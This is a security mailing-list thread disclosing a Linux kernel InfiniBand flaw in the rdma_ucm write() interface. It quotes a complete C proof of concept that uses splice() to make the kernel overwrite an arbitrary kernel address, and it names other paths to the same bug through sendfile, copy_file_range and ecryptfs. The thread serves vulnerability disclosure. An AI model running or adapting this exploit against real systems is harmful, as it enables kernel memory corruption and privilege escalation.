Re: CVE Request: Linux: IB/security: Restrict use of the write() interface'

[Jann Horn <jann () thejh net>]

On Mon, May 09, 2016 at 09:10:41PM +0200, Yann Droneaud wrote:
> [Cc: oss-security () lists openwall com]
>
> Hi,
>
> Le lundi 09 mai 2016 à 20:02 +0200, Jann Horn a écrit :
> > On Sat, May 07, 2016 at 08:19:46PM +0200, Yann Droneaud wrote:
> > > Le samedi 07 mai 2016 à 06:22 +0200, Salvatore Bonaccorso a écrit :
> > > >  
> > > > Jann Horn reported an issue in the infiniband stack. It has been
> > > > fixed in v4.6-rc6 with commit
> > > > e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3:
> > > >
> > > > https://git.kernel.org/linus/e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3
> > > >
> > > > > IB/security: Restrict use of the write() interface
> > > > > The drivers/infiniband stack uses write() as a replacement for
> > > > > bi-directional ioctl().  This is not safe. There are ways to
> > > > > trigger write calls that result in the return structure that
> > > > > is normally written to user space being shunted off to user
> > > > > specified kernel memory instead.
> > > That's an interesting issue.
> > >
> > > I thought access_ok() done as part of copy_to_user() would protect
> > > from such unwelcomed behavior. But it's not if the kernel invoke
> > > write() handler outside of a user process.
> > >
> > > Anyway, as I don't see yet how to reproduce the issue, is there a
> > > PoC available, I would be interested by a mean to trigger such
> > > write().
>
> > Here is my writeup of the issue that I made quite a while ago - the
> > timeline is missing some of the more recent stuff, but meh.
> >
> > ======================================================
> >
> >
> > Here is a PoC that can be used to clobber data at arbitrary
> > writable kernel addresses if the rdma_ucm module is loaded (without
> > actually needing Infiniband hardware to be present):
> >
> > =====
> > #define _GNU_SOURCE
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> >
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> >
> > #define RDMA_PS_TCP 0x0106
> >
> > // This method forces the kernel to write arbitrary data to the
> > // target fd under set_fs(KERNEL_DS), bypassing address limit
> > // checks in anything that extracts pointers from written data.
> > int write_without_addr_limit(int fd, char *buf, size_t len) {
> >   int pipefds[2];
> >   if (pipe(pipefds))
> >     return -1;
> >   ssize_t len_ = write(pipefds[1], buf, len);
> >   if (len == -1)
> >     return -1;
> >   int res = splice(pipefds[0], NULL, fd, NULL, len_, 0);
> >   int errno_ = errno;
> >   close(pipefds[0]);
> >   close(pipefds[1]);
> >   errno = errno_;
> >   return res;
> > }
> >
> > int clobber_kaddr(unsigned long kaddr) {
> >   // open infiniband fd
> >   int fd = open("/dev/infiniband/rdma_cm", O_RDWR);
> >   if (fd == -1)
> >     err(1, "unable to open /dev/infiniband/rdma_cm - maybe the RDMA kernel module isn't loaded?");
> >
> >   // craft malicious write buffer
> >   // structure:
> >   //   struct rdma_ucm_cmd_hdr hdr
> >   //   struct rdma_ucm_create_id cmd
> >   char buf[sizeof(struct rdma_ucm_cmd_hdr) + sizeof(struct rdma_ucm_create_id)];
> >   struct rdma_ucm_cmd_hdr *hdr = (void*)buf;
> >   struct rdma_ucm_create_id *cmd = (void*)(buf + sizeof(struct rdma_ucm_cmd_hdr));
> >   hdr->cmd = RDMA_USER_CM_CMD_CREATE_ID;
> >   hdr->in = 0;
> >   hdr->out = sizeof(struct rdma_ucm_create_id_resp);
> >   cmd->ps = RDMA_PS_TCP;
> >   cmd->response = kaddr;
> >
> >   int res = write_without_addr_limit(fd, buf, sizeof(buf));
> >   int errno_ = errno;
> >   close(fd);
> >   errno = errno_;
> >   return res;
> > }
> >
> > int main(int argc, char **argv) {
> >   if (argc != 2)
> >     errx(1, "want one argument (kernel address to clobber)");
> >   char *endp;
> >   unsigned long kaddr = strtoul(argv[1], &endp, 0);
> >   if (kaddr == ULONG_MAX || *endp || endp == argv[1])
> >     errx(1, "bad input number");
> >
> >   int r = clobber_kaddr(kaddr);
> >   if (r >= 0) {
> >     printf("that probably worked? clobber_kaddr(0x%lx)=%d\n", kaddr, r);
> >     return 0;
> >   } else {
> >     printf("failed: %m\n");
> >     return 1;
> >   }
> > }
>
>
> Is this only achievable through splice() ?

sendfile() and the new copy_file_range() syscall (in kernel >=4.5) would
probably both work, too - they all use the splice mechanism internally.

ecryptfs also calls the VFS methods of the lower filesystem under KERNEL_DS
iirc, it might also be possible to attack infiniband that way.

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